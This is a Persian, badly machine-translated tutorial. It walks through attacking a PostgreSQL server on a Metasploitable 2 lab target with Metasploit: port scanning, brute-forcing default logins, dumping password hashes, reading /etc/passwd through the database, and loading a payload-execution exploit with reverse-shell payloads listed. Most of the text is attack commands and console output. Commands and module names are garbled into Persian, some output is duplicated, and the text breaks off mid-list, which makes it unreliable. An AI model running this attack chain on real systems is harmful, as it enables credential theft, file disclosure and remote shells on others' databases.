چگونه به جمع آوری اطلاعات در پایگاه داده PostgreSQL با Metasploit

حملات علیه پایگاه های داده را تبدیل به یکی از محبوب ترین و پر سود برای فعالیت هکرها به تازگی. جدید نقض داده ب

توسط PATRIS-MUSIC در 22 اردیبهشت 1399

حملات علیه پایگاه های داده را تبدیل به یکی از محبوب ترین و پر سود برای فعالیت هکرها به تازگی. جدید نقض داده به نظر می رسد ظاهر تا هر هفته اما حتی با تمام آن توجه پایگاه داده ها همچنان به عنوان یک هدف نخست. همه این حملات باید از جایی شروع می کنیم و با بررسی انواع روشهای جمع آوری اطلاعات در پایگاه داده PostgreSQL با Metasploit.

PostgreSQL و منبع باز است سامانه مدیریت پایگاه داده رابطهای (RDBMS) است که با استفاده از زبان SQL همراه با بسیاری از ویژگی های دیگر که مسئولیت رسیدگی به طیف گسترده ای از داده ها و حجم کار. در ابتدا برای توسعه یونیکس PostgreSQL اجرا بر روی تمام سیستم های عامل و پایگاه داده به طور پیش فرض برای macOS سرور.

PostgreSQL آن شناخته شده است توسعه پذیری و قابلیت اطمینان از درستی داده ها, قوی, معماری و قوی مجموعه ای از ویژگی های از جمله محبوب PostGIS geospatial پایگاه داده توسعه دهنده. همچنین اسید سازگار است و اختصاص داده شده منبع باز جامعه است.

برای بیشتر قسمت ها, PostgreSQL و مطابق با زبان SQL استانداردهای اما برخی از نحو و توابع کمی متفاوت است. آن است که اغلب استفاده می شود برای حجم کار سنگین که در آن همزمانی و عملکرد یک اولویت و مدرن ارائه می دهد امنیت و بهبود ویژگی های است که ضروری است در محیطهای کار. به طور کلی PostgreSQL فوق العاده است RDBMS که هر دو انعطاف پذیر و توسعه پذیر.

مرحله 1: استفاده از Nmap اسکن

در این راهنما ما با استفاده از Metasploitable 2 به عنوان هدف و Kali Linux به عنوان یک ماشین محلی است. شما می توانید از همان استفاده کنید و یا چیزی مشابه.

پس از گرفتن تست در آزمایشگاه راه اندازی ما نیاز به تعیین اگر PostgreSQL و خدمات در حال اجرا بر روی هدف است. برای انجام این کار ما می توانیم اجرای یک Nmap اسکن بر روی پورت 5432 است که معمولا به طور پیش فرض پورت برای PostgreSQL. استفاده از -p پرچم برای مشخص کردن پورت و -sV برای فعال کردن نسخه های تشخیص:

~# nmap -sV 10.10.0.50 -p 5432 شروع Nmap 7.80 ( https://nmap.org ) در 2020-05-10 11:41 CST
Nmap اسکن گزارش 10.10.0.50
میزبان است (0.00064 s تاخیر). PORT STATE SERVICE نسخه
5432/tcp باز postgresql PostgreSQL DB 8.3.0 - 8.3.7
MAC آدرس: 00:1D:09:55:B1:3B (Dell) خدمات تشخیص انجام می شود. لطفا گزارش هر گونه نتایج نادرست در https://nmap.org/submit/ .
Nmap انجام می شود: 1 آدرس آی پی (1 میزبان) اسکن شده در 6.71 ثانیه

ما می توانید ببینید که PostgreSQL خدمات باز است بر روی هدف و در حال اجرا نسخه 8.3.0 – 8.3.7.

مرحله 2: دریافت اطلاعات نسخه

Metasploit تعدادی از ماژول های که ما می توانید استفاده کنید برای جمع آوری اطلاعات مفید در مورد پایگاه داده PostgreSQL. آتش آن را با تایپ کردن msfconsole در ترمینال.

~# msfconsole , , / \
((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| =[ metasploit v5.0.87-dev ]
+ -- --=[ 2006 سوء استفاده - 1096 کمکی - 343 پست ]
+ -- --=[ 562 محموله - 45 نرم افزارهای تبدیل کننده - 10 nops ]
+ -- --=[ 7 گریز ] Metasploit نکته: خسته از تنظیم RHOSTS برای ماژول? سعی کنید در سطح جهانی تنظیم آن با setg RHOSTS x.x.x.x msf5 >

پس از آن بارهای ما می توانید با استفاده از جستجو تابع به دنبال ماژول های مرتبط با PostgreSQL:

msf5 > جستجو postgre مطابق ماژول
================ # نام افشای تاریخ رتبه بررسي توضیحات - ---- --------------- ---- ----- ----------- 0 کمکی/admin/http/manageengine_pmp_privesc 2014-11-08 عادی بله ManageEngine Password Manager SQLAdvancedALSearchResult.cc نرم افزار SQL Injection کمکی 1/admin/http/rails_devise_pass_reset تاریخ 2013-01-28 عادی هیچ Ruby on Rails تدبیر احراز هویت رمز عبور تنظیم مجدد 2 کمکی/admin/postgres/postgres_readfile عادی هیچ PostgreSQL Server کلی پرس و جو 3 کمکی/admin/postgres/postgres_sql عادی هیچ PostgreSQL Server کلی پرس و جو 4 کمکی/تجزیه و تحلیل/crack_databases عادی هیچ رمز عبور ترقه: پایگاه داده 5 کمکی/تجزیه و تحلیل/jtr_postgres_fast عادی هیچ John the Ripper Postgres SQL Password Cracker 6 کمکی/اسکنر/postgres/postgres_dbname_flag_injection عادی بله PostgreSQL Database نام خط فرمان پرچم تزریق 7 کمکی/اسکنر/postgres/postgres_hashdump عادی بله Postgres رمز Hashdump 8 کمکی/اسکنر/postgres/postgres_login عادی بله PostgreSQL ورود ابزار 9 کمکی/اسکنر/postgres/postgres_schemadump عادی بله Postgres طرح کمپرسی 10 کمکی/اسکنر/postgres/postgres_version عادی بله PostgreSQL نسخه پروب 11 کمکی/سرور/ضبط/postgresql طبیعی بدون احراز هویت ضبط: PostgreSQL 12 بهره برداری/لینوکس/postgres/postgres_payload 2007-06-05 عالی بله PostgreSQL برای لینوکس حمل بار اعدام 13 exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 عالی بله ManageEngine Desktop Central / مدیریت رمز عبور LinkViewFetchServlet.dat تزریق SQL 14 exploit/multi/postgres/postgres_copy_from_program_cmd_exec 2019-03-20 عالی بله PostgreSQL کپی از برنامه Command Execution 15 exploit/multi/postgres/postgres_createlang 2016-01-01 خوب بله PostgreSQL ایجاد زبان اعدام 16 exploit/windows/misc/manageengine_eventlog_analyzer_rce 2015-07-11 دستی بله ManageEngine EventLog Analyzer اجرای کد از راه دور 17 exploit/windows/postgres/postgres_payload تاریخ 2009-04-10 عالی بله PostgreSQL برای مایکروسافت ویندوز حمل بار اعدام 18 پست/لینوکس/جمع آوری/enum_users_history عادی هیچ لینوکس کاربر جمع آوری تاریخچه

اول ما را پوشش خواهد داد و ما برخی از اطلاعات در مورد در حال اجرا نسخه. آن را هرگز لطمه می زند به بررسی از برخی سوء استفاده خواهد شد و تنها برای نسخه های خاصی. بارگذاری ماژول با استفاده از دستور:

msf5 > استفاده از کمکی/اسکنر/postgres/postgres_version

بیایید نگاهی به گزینه برای نمایش تنظیمات فعلی:

msf5 کمکی(اسکنر/postgres/postgres_version) > گزینه های گزینه های ماژول (کمکی/اسکنر/postgres/postgres_version): نام فعلی تنظیمات مورد نیاز توضیحات ---- --------------- -------- ----------- پایگاه داده template1 yes پایگاه داده برای تأیید هویت در برابر رمز postgres هیچ رمز عبور برای نام کاربری مشخص شده. خالی بگذارید برای یک رمز عبور تصادفی. RHOSTS بله هدف میزبان(ع) محدوده CIDR شناسه یا فایل میزبان با نحو 'فایل:<path>' RPORT 5432 بله هدف پورت موضوعات: شماره 1 بله تعداد همزمان موضوعات (حداکثر هر میزبان) نام کاربری postgres بله این نام کاربری برای تأیید هویت به عنوان پرگو غلط هیچ فعال پرگو خروجی

ما می توانیم تمام پیش فرض در حال حاضر, اما ما نیاز به مجموعه ای از rhosts گزینه به آدرس IP هدف ما:

msf5 کمکی(اسکنر/postgres/postgres_version) > مجموعه rhosts 10.10.0.50 rhosts => 10.10.0.50

در حال حاضر همه ما باید انجام دهید این است آن را اجرا کنید; با استفاده از اجرای دستور به آن لگد کردن:

msf5 کمکی(اسکنر/postgres/postgres_version) > اجرا [*] 10.10.0.50:5432 Postgres - نسخه PostgreSQL 8.3.1 در i486-pc-linux-gnu وارد شده توسط شورای همکاری خلیج فارس سی سی (شورای همکاری خلیج فارس) 4.2.3 (اوبونتو 4.2.3-2ubuntu4) (پس از تایید)
[*] اسکن شده 1 از 1 میزبان (100% کامل)
[*] کمکی ماژول اعدام تکمیل

و ما می توانید نسخه شماره 8.3.1 است که کمی خاص تر از آنچه Nmap بازگشت.

مرحله 3: Brute-Force ورود

ماژول بعدی ما نگاهی به تلاش برای brute-force ورود به پایگاه داده PostgreSQL و با استفاده از یک لیست به طور پیش فرض نام کاربری و کلمه عبور. بار آن را با استفاده از دستور:

msf5 > استفاده از کمکی/اسکنر/postgres/postgres_login

بیایید نگاهی به این ماژول گزینه های:

msf5 کمکی(اسکنر/postgres/postgres_login) > گزینه های گزینه های ماژول (کمکی/اسکنر/postgres/postgres_login): نام فعلی تنظیمات مورد نیاز توضیحات ---- --------------- -------- ----------- BLANK_PASSWORDS غلط هیچ سعی کنید خالی کلمه عبور برای همه کاربران BRUTEFORCE_SPEED 5 بله با چه سرعتی به bruteforce, از 0 تا 5 پایگاه داده template1 yes پایگاه داده برای تأیید هویت در برابر DB_ALL_CREDS غلط هیچ سعی کنید هر کاربر/رمز عبور زن و شوهر ذخیره شده در پایگاه داده در حال حاضر DB_ALL_PASS کاذب بدون اضافه کردن همه کلمات عبور در پایگاه داده فعلی به لیست DB_ALL_USERS کاذب بدون اضافه کردن تمام کاربران در پایگاه داده فعلی به لیست رمز عبور هیچ یک رمز عبور خاص برای تأیید اعتبار با PASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt هیچ فایل حاوی رمز عبور برای هر خط پروکسی بدون پروکسی زنجیره ای از نوع فرمت:host:port [type:host:port][...] RETURN_ROWSET واقعی هیچ درست تنظیم برای دیدن نتیجه پرس و جو مجموعه RHOSTS بله هدف میزبان(ع) محدوده CIDR شناسه یا فایل میزبان با نحو 'فایل:<path>' RPORT 5432 بله هدف پورت STOP_ON_SUCCESS کاذب بله حدس زدن زمانی که یک اعتبار با این نسخهها کار برای میزبان موضوعات: شماره 1 بله تعداد همزمان موضوعات (حداکثر هر میزبان) نام کاربری هیچ یک نام کاربری خاص برای تأیید هویت به عنوان USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt هیچ فایل حاوی (فضا-جدا) کاربران و کلمات عبور یک جفت در هر خط USER_AS_PASS غلط هیچ سعی کنید نام کاربری به عنوان رمز عبور برای تمام کاربران USER_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt هیچ فایل حاوی کاربران در هر خط پرگو درست بله آیا برای چاپ خروجی برای تمام تلاش

این یکی از چند گزینه های بیشتر ما می توانید ظروف سرباز یا مسافر با, اما در حال حاضر به صورت پیش فرض کار می کنند. فقط مجموعه ای از راه دور میزبان گزینه دوباره و ما باید خوب به آن بروید:

msf5 کمکی(اسکنر/postgres/postgres_login) > مجموعه rhosts 10.10.0.50 rhosts => 10.10.0.50

در حال حاضر ما می توانید راه اندازی ماژول:

msf5 کمکی(اسکنر/postgres/postgres_login) > اجرا [!] هیچ فعال DB -- اعتبار داده ها را نمی توان نجات داد!
[-] 10.10.0.50:5432 - LOGIN FAILED: :@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - LOGIN FAILED: :ببر@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - LOGIN FAILED: :postgres@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - LOGIN FAILED: :رمز@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - LOGIN FAILED: :admin@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - ورود ناموفق: postgres:@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - ورود ناموفق: postgres:tiger@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[+] 10.10.0.50:5432 - ورود موفق: postgres:postgres@template1
[-] 10.10.0.50:5432 - ورود ناموفق: scott:@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - ورود ناموفق: scott:tiger@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - ورود ناموفق: scott:postgres@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - ورود ناموفق: scott:password@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - ورود ناموفق: scott:admin@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - ورود ناموفق: admin:@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - ورود ناموفق: admin:tiger@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - ورود ناموفق: admin:postgres@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - ورود ناموفق: admin:password@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - ورود ناموفق: admin:admin@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - ورود ناموفق: admin:admin@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[-] 10.10.0.50:5432 - ورود ناموفق: admin:password@template1 (نادرست: نام کاربری یا رمز عبور نامعتبر)
[*] اسکن شده 1 از 1 میزبان (100% کامل)
[*] کمکی ماژول اعدام تکمیل

ما می توانید آن را از طریق هر یک نام کاربری و رمز عبور خود را ترکیبی که اکثر شکست اما ما با چپ یکی از موفق شوید.

گام 4: اجرا نمایش داده شد SQL

ما می تواند اجرا نمایش داده شد SQL مناسب از دیگر Metasploit ماژول به جای ورود به پایگاه داده به طور مستقیم. بارگذاری ماژول:

msf5 > استفاده از کمکی/admin/postgres/postgres_sql

و نگاهی به گزینه های:

msf5 کمکی(admin/postgres/postgres_sql) > گزینه های گزینه های ماژول (کمکی/admin/postgres/postgres_sql): نام فعلی تنظیمات مورد نیاز توضیحات ---- --------------- -------- ----------- پایگاه داده template1 yes پایگاه داده برای تأیید هویت در برابر رمز postgres هیچ رمز عبور برای نام کاربری مشخص شده. خالی بگذارید برای یک رمز عبور تصادفی. RETURN_ROWSET واقعی هیچ درست تنظیم برای دیدن نتیجه پرس و جو مجموعه RHOSTS بله هدف میزبان(ع) محدوده CIDR شناسه یا فایل میزبان با نحو 'فایل:<path>' RPORT 5432 بله هدف پورت SQL نسخه را انتخاب کنید() هیچ پرس و جوی SQL را اجرا نام کاربری postgres بله این نام کاربری برای تأیید هویت به عنوان پرگو غلط هیچ فعال پرگو خروجی

به جای تنظیم از راه دور میزبان گزینه هر زمان ما می توانیم با استفاده از setg فرمان برای تنظیم این گزینه در سطح جهان است. این به معنی آن باقی خواهد ماند و مجموعه ای هنگامی که ما تبدیل به ماژول های دیگر مگر ما دوباره آن را تغییر دهید.

msf5 کمکی(admin/postgres/postgres_sql) > setg rhosts 10.10.0.50 rhosts => 10.10.0.50

به طور پیش فرض پرس و جو برای این ماژول تنظیم شده است برای انتخاب نسخه از پایگاه داده — اجازه دهید ببینیم که چه چیزی است که به نظر می رسد مانند:

msf5 کمکی(admin/postgres/postgres_sql) > اجرا [*] در حال اجرا ماژول در برابر 10.10.0.50 پرس و جو Text: 'نسخه را انتخاب کنید()'
============================== نسخه
------- PostgreSQL 8.3.1 در i486-pc-linux-gnu وارد شده توسط شورای همکاری خلیج فارس سی سی (شورای همکاری خلیج فارس) 4.2.3 (اوبونتو 4.2.3-2ubuntu4) [*] کمکی ماژول اعدام تکمیل

اما ما می توانید این گزینه را برای هر مدرک معتبر SQL کد ما می خواهیم. مثلا زیر پرس و جو خواهد شد و نام کاربری و رمز عبور کاربر فعلی:

انتخاب usename, passwd از pg_shadow;

اجازه دهید مجموعه ای از گزینه ای برای این شرکت:

msf5 کمکی(admin/postgres/postgres_sql) > مجموعه sql را انتخاب کنید usename, passwd از pg_shadow sql => انتخاب usename, passwd از pg_shadow

و اجرای ماژول دوباره:

msf5 کمکی(admin/postgres/postgres_sql) > اجرا [*] در حال اجرا ماژول در برابر 10.10.0.50 پرس و جو متن: 'انتخاب usename, passwd از pg_shadow'
=================================================== usename passwd ------- ------ postgres md53175bce1d3201d16594cebf9d7eb3f9d [*] کمکی ماژول اعدام تکمیل

در حال حاضر ما می توانید نام کاربری و رمز عبور هش کاربر فعلی است.

گام 5: کمپرسی هش

Metasploit همچنین دارای یک ماژول است که به سرعت تخلیه هر رشته هش رمز عبور در پایگاه داده برای ما. بار آن را:

msf5 > استفاده از کمکی/اسکنر/postgres/postgres_hashdump

و مشاهده گزینه های:

msf5 کمکی(اسکنر/postgres/postgres_hashdump) > گزینه های گزینه های ماژول (کمکی/اسکنر/postgres/postgres_hashdump): نام فعلی تنظیمات مورد نیاز توضیحات ---- --------------- -------- ----------- پایگاه داده postgres yes پایگاه داده برای تأیید هویت در برابر رمز postgres هیچ رمز عبور برای نام کاربری مشخص شده. خالی بگذارید برای یک رمز عبور تصادفی. RHOSTS 10.10.0.50 بله هدف میزبان(ع) محدوده CIDR شناسه یا فایل میزبان با نحو 'فایل:<path>' RPORT 5432 بله هدف پورت موضوعات: شماره 1 بله تعداد همزمان موضوعات (حداکثر هر میزبان) نام کاربری postgres بله این نام کاربری برای تأیید هویت به عنوان

همه چیز خوب به نظر می رسد در این مرحله و از آنجایی که ما در حال حاضر مجموعه ای از راه دور میزبان زودتر همه ما باید انجام دهید این است آن را اجرا کنید:

msf5 کمکی(اسکنر/postgres/postgres_hashdump) > اجرا [+] پرس و جو به نظر می رسد با موفقیت اجرا شود
[+] Postgres سرور هش
====================== نام کاربری هش -------- ---- postgres md53175bce1d3201d16594cebf9d7eb3f9d [*] اسکن شده 1 از 1 میزبان (100% کامل)
[*] کمکی ماژول اعدام تکمیل

ما می توانید پرس و جو اجرا می شود با موفقیت و بازده رمز عبور هش.

مرحله 6: کمپرسی طرح Info

ماژول بعدی ما پوشش تلاش خواهد کرد به تخلیه هر گونه طرح اطلاعات آن را می توانید پیدا کردن در مورد پایگاه داده است. این می تواند مفید باشد برای به دست آوردن یک تصویر گسترده از تمام پایگاه داده ها و تنظیمات در حال استفاده است. بارگذاری ماژول:

msf5 > استفاده از کمکی/اسکنر/postgres/postgres_schemadump

و بررسی گزینه های:

msf5 کمکی(اسکنر/postgres/postgres_schemadump) > گزینه های گزینه های ماژول (کمکی/اسکنر/postgres/postgres_schemadump): نام فعلی تنظیمات مورد نیاز توضیحات ---- --------------- -------- ----------- پایگاه داده postgres yes پایگاه داده برای تأیید هویت در برابر DISPLAY_RESULTS بله درست نمایش نتایج جستجو برای صفحه نمایش رمز postgres هیچ رمز عبور برای نام کاربری مشخص شده. خالی بگذارید برای یک رمز عبور تصادفی. RHOSTS 10.10.0.50 بله هدف میزبان(ع) محدوده CIDR شناسه یا فایل میزبان با نحو 'فایل:<path>' RPORT 5432 بله هدف پورت موضوعات: شماره 1 بله تعداد همزمان موضوعات (حداکثر هر میزبان) نام کاربری postgres بله این نام کاربری برای تأیید هویت به عنوان

ما می توانیم به صورت پیش فرض و راه اندازی ماژول:

msf5 کمکی(اسکنر/postgres/postgres_schemadump) > اجرا [+] Postgres SQL Server طرحواره میزبان: 10.10.0.50 پورت: 5432
==================== --- [] [*] اسکن شده 1 از 1 میزبان (100% کامل)
[*] کمکی ماژول اعدام تکمیل

ما می توانید ببینید که آن را نمی بازگشت هر چیزی, اما آن را به ارزش یک شات به سعی کنید و جمع آوری داده های شبیه به این برای شناسایی.

گام 7: خواندن فایل های سیستم

ما همچنین می توانید با استفاده از Metasploit برای خواندن فایل های سیستم از طریق پایگاه داده PostgreSQL. بارگذاری ماژول:

msf5 > استفاده از کمکی/admin/postgres/postgres_readfile

و نگاهی به گزینه های:

msf5 کمکی(admin/postgres/postgres_readfile) > گزینه های گزینه های ماژول (کمکی/admin/postgres/postgres_readfile): نام فعلی تنظیمات مورد نیاز توضیحات ---- --------------- -------- ----------- پایگاه داده template1 yes پایگاه داده برای تأیید هویت در برابر رمز postgres هیچ رمز عبور برای نام کاربری مشخص شده. خالی بگذارید برای یک رمز عبور تصادفی. RFILE /etc/passwd بله فایل از راه دور RHOSTS 10.10.0.50 بله هدف میزبان(ع) محدوده CIDR شناسه یا فایل میزبان با نحو 'فایل:<path>' RPORT 5432 بله هدف پورت نام کاربری postgres بله این نام کاربری برای تأیید هویت به عنوان پرگو غلط هیچ فعال پرگو خروجی

به طور پیش فرض فایل های از راه دور به عنوان خوانده شده تنظیم شده است به /etc/passwdکه کار در حال حاضر. اجازه دهید آن را خاموش:

msf5 کمکی(admin/postgres/postgres_readfile) > اجرا [*] در حال اجرا ماژول در برابر 10.10.0.50 پرس و جو Text: 'ایجاد دما, جدول hoieZbLAeCQ (INPUT TEXT); کپی hoieZbLAeCQ از '/etc/passwd'; را انتخاب کنید * از hoieZbLAeCQ'
==================================================================================================================================== ورودی
-----
پشتیبان:x:34:34:backup:/var/backups:/bin/sh
بن:x:2:2:bin:/bin:/bin/sh
اتصال:x:105:113::/var/cache/bind:/bin/false
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
distccd:x:111:65534::/:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
بازی:x:5:60:games:/usr/games:/bin/sh gnats:x:41:41:Gnats اشکال-سیستم گزارش دهی (مدیریت):/var/lib/gnats:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
klog:x:103:104::/home/klog:/bin/false
libuuid:x:100:101::/var/lib/libuuid:/bin/sh فهرست:x:38:38:Mailing List Manager:/var/لیست:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
پست الکترونیکی:x:8:8:mail:/var/mail:/bin/sh
مرد:x:6:12:man:/var/cache/man:/bin/sh
msfadmin:x:1000:1000:msfadmin,,,:/خانه/msfadmin:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/غلط
اخبار:x:9:9:news:/var/spool/news:/bin/sh
هیچ کس:x:65534:65534:nobody:/nonexistent:/bin/sh
postfix:x:106:115::/var/spool/postfix:/bin/false postgres:x:108:117:PostgreSQL, مدیر,,,:/var/lib/mysql:/bin/bash
proftpd:x:113:65534::/var/run/proftpd:/bin/false
پروکسی:x:13:13:proxy:/bin:/bin/sh
ریشه:x:0:0:root:/root:/bin/bash
خدمات:x:1002:1002:,,,:/صفحه اصلی/سرویس:/bin/bash
, sshd,: x:104:65534::/var/run/sshd:/usr/sbin/nologin
statd:x:114:65534::/var/lib/nfs:/bin/false
همگام سازی:x:4:65534:sync:/bin:/bin/sync
sys:x:3:3:sys:/dev:/bin/sh
syslog:x:102:103::/home/syslog:/bin/false
telnetd:x:112:120::/nonexistent:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false کاربر:x:1001:1001:فقط یک کاربر 111,,:/home/user:/bin/bash
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh ریشه:x:0:0:ریشه:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
بن:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
همگام سازی:x:4:65534:همگام سازی:/bin:/bin/همگام
بازی:x:5:60:بازی ها:/usr/games:/bin/sh
مرد:x:6:12:مرد:/var/cache/مرد:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
پست الکترونیکی:x:8:8:ایمیل:/var/ایمیل:/bin/sh
اخبار:x:9:9:اخبار:/var/spool/اخبار/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
پروکسی:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
پشتیبان:x:34:34:پشتیبان:/var/پشتیبان گیری:/bin/sh
فهرست:x:38:38:Mailing List Manager:/var/لیست:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats اشکال-سیستم گزارش دهی (مدیریت):/var/lib/gnats:/bin/sh
هیچ کس:x:65534:65534:هیچ کس:/ندارد:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/ندارد:/bin/غلط
syslog:x:102:103::/صفحه اصلی/syslog:/bin/غلط
klog:x:103:104::/صفحه اصلی/klog:/bin/غلط
, sshd,: x:104:65534::/var/run/, sshd,:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/خانه/msfadmin:/bin/bash
اتصال:x:105:113::/var/cache/اتصال:/bin/غلط
postfix:x:106:115::/var/spool/postfix:/bin/غلط
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL, مدیر,,,:/var/lib/mysql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/غلط
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/غلط
distccd:x:111:65534::/:/bin/غلط
کاربر:x:1001:1001:فقط یک کاربر 111,,:/home/user:/bin/bash
خدمات:x:1002:1002:,,,:/صفحه اصلی/سرویس:/bin/bash
telnetd:x:112:120::/ندارد:/bin/غلط
proftpd:x:113:65534::/var/run/proftpd:/bin/غلط
statd:x:114:65534::/var/lib/nfs:/bin/غلط
[+] 10.10.0.50:5432 Postgres - /etc/passwd ذخیره شده در /root/.msf4/loot/20191211120809_default_10.10.0.50_postgres.file_153011.txt
[*] کمکی ماژول اعدام تکمیل

ما می توانید ببینید که آن را برای اولین بار ایجاد یک جدول موقت کپی محتوای فایل مورد نظر و بازده آن را به ما بر روی صفحه نمایش. آن را نیز موجب صرفه جویی در این عنوان غارت برای استفاده در یک بعد راحتی.

بیایید سعی کنید برای خواندن فایل های مختلف – شاید /etc/shadow در این زمان. برای اولین بار مجموعه ای از گزینه:

msf5 کمکی(admin/postgres/postgres_readfile) > مجموعه rfile /etc/shadow rfile => /etc/shadow

سپس اجرای ماژول:

msf5 کمکی(admin/postgres/postgres_readfile) > اجرا [*] در حال اجرا ماژول در برابر 10.10.0.50 [-] 10.10.0.50:5432 Postgres - Insufficent مجوز های دسترسی فایل.
[*] کمکی ماژول اعدام تکمیل

ما می توانید ببینید این زمان است که آن ناموفق بود پس ما ندارد و لازم است مجوز های دسترسی فایل. همیشه ارزش امتحان کنید ،

گام 8: ارسال یک ظرفیت ترابری

نهایی ماژول ما کشف خواهد شد امروز یک بهره برداری است که تلاش خواهد کرد به محل اجرا حمل بار در هدف. اولین بار, ماژول:

msf5 > use exploit/لینوکس/postgres/postgres_payload

و مشاهده گزینه های:

msf5 بهره برداری(لینوکس/postgres/postgres_payload) > گزینه های گزینه های ماژول (exploit/لینوکس/postgres/postgres_payload): نام فعلی تنظیمات مورد نیاز توضیحات ---- --------------- -------- ----------- پایگاه داده template1 yes پایگاه داده برای تأیید هویت در برابر رمز postgres هیچ رمز عبور برای نام کاربری مشخص شده. خالی بگذارید برای یک رمز عبور تصادفی. RHOSTS 10.10.0.50 بله هدف میزبان(ع) محدوده CIDR شناسه یا فایل میزبان با نحو 'فایل:<path>' RPORT 5432 بله هدف پورت نام کاربری postgres بله این نام کاربری برای تأیید هویت به عنوان پرگو غلط هیچ فعال پرگو خروجی بهره برداری از هدف: Id نام -- ---- 0 Linux x86

همه چیز خوب به نظر می رسد اما از آنجایی که این یک exploit ما نیاز به مجموعه ای یک بار. با استفاده از نشان می دهد فرمان برای دیدن در دسترس بر روی کامپیوتر کاربر برای این ماژول:

msf5 بهره برداری(لینوکس/postgres/postgres_payload) > show payloads سازگار بر روی کامپیوتر کاربر
=================== # نام افشای تاریخ رتبه بررسي توضیحات - ---- --------------- ---- ----- ----------- 0 generic/سفارشی عادی هیچ سفارشی ظرفیت ترابری 1 generic/debug_trap عادی هیچ Generic x86 Debug دام 2 generic/shell_bind_tcp عادی هیچ Generic پوسته فرمان, اتصال TCP خطی 3 generic/shell_reverse_tcp عادی هیچ Generic پوسته فرمان معکوس TCP خطی 4 generic/tight_loop عادی هیچ Generic x86 حلقه تنگ 5 لینوکس/x86/سطح دسترسی عادی هیچ سطح دسترسی لینوکس 6 لینوکس/x86/exec عادی هیچ لینوکس اجرای فرمان 7 لینوکس/x86/meterpreter/bind_ipv6_tcp عادی هیچ لینوکس فطرت x86 اتصال IPv6 TCP كارآموزي باليني (Linux x86) 8 لینوکس/x86/meterpreter/bind_ipv6_tcp_uuid عادی هیچ لینوکس فطرت x86 اتصال IPv6 TCP فيزيوپاتولوژی با UUID پشتیبانی (Linux x86) 9 لینوکس/x86/meterpreter/bind_nonx_tcp عادی هیچ لینوکس فطرت x86 اتصال TCP فيزيوپاتولوژی 10 لینوکس/x86/meterpreter/bind_tcp عادی هیچ لینوکس فطرت x86 اتصال TCP كارآموزي باليني (Linux x86) 11 لینوکس/x86/meterpreter/bind_tcp_uuid عادی هیچ لینوکس فطرت x86 اتصال TCP فيزيوپاتولوژی با UUID پشتیبانی (Linux x86) 12 لینوکس/x86/meterpreter/reverse_ipv6_tcp عادی هیچ لینوکس فطرت x86 معکوس TCP كارآموزي باليني (IPv6) 13 لینوکس/x86/meterpreter/reverse_nonx_tcp عادی هیچ لینوکس فطرت x86 معکوس TCP فيزيوپاتولوژی 14 لینوکس/x86/meterpreter/reverse_tcp عادی هیچ لینوکس فطرت x86 معکوس TCP فيزيوپاتولوژی 15 لینوکس/x86/meterpreter/reverse_tcp_uuid عادی هیچ لینوکس فطرت x86 معکوس TCP فيزيوپاتولوژی 16 لینوکس/x86/metsvc_bind_tcp عادی هیچ لینوکس Meterpreter خدمات اتصال TCP 17 لینوکس/x86/metsvc_reverse_tcp عادی هیچ لینوکس Meterpreter سرویس معکوس TCP خطی 18 لینوکس/x86/read_file عادی هیچ لینوکس خواندن فایل 19 لینوکس/x86/پوسته/bind_ipv6_tcp طبیعی بدون پوسته فرمان لینوکس, اتصال به IPv6 TCP كارآموزي 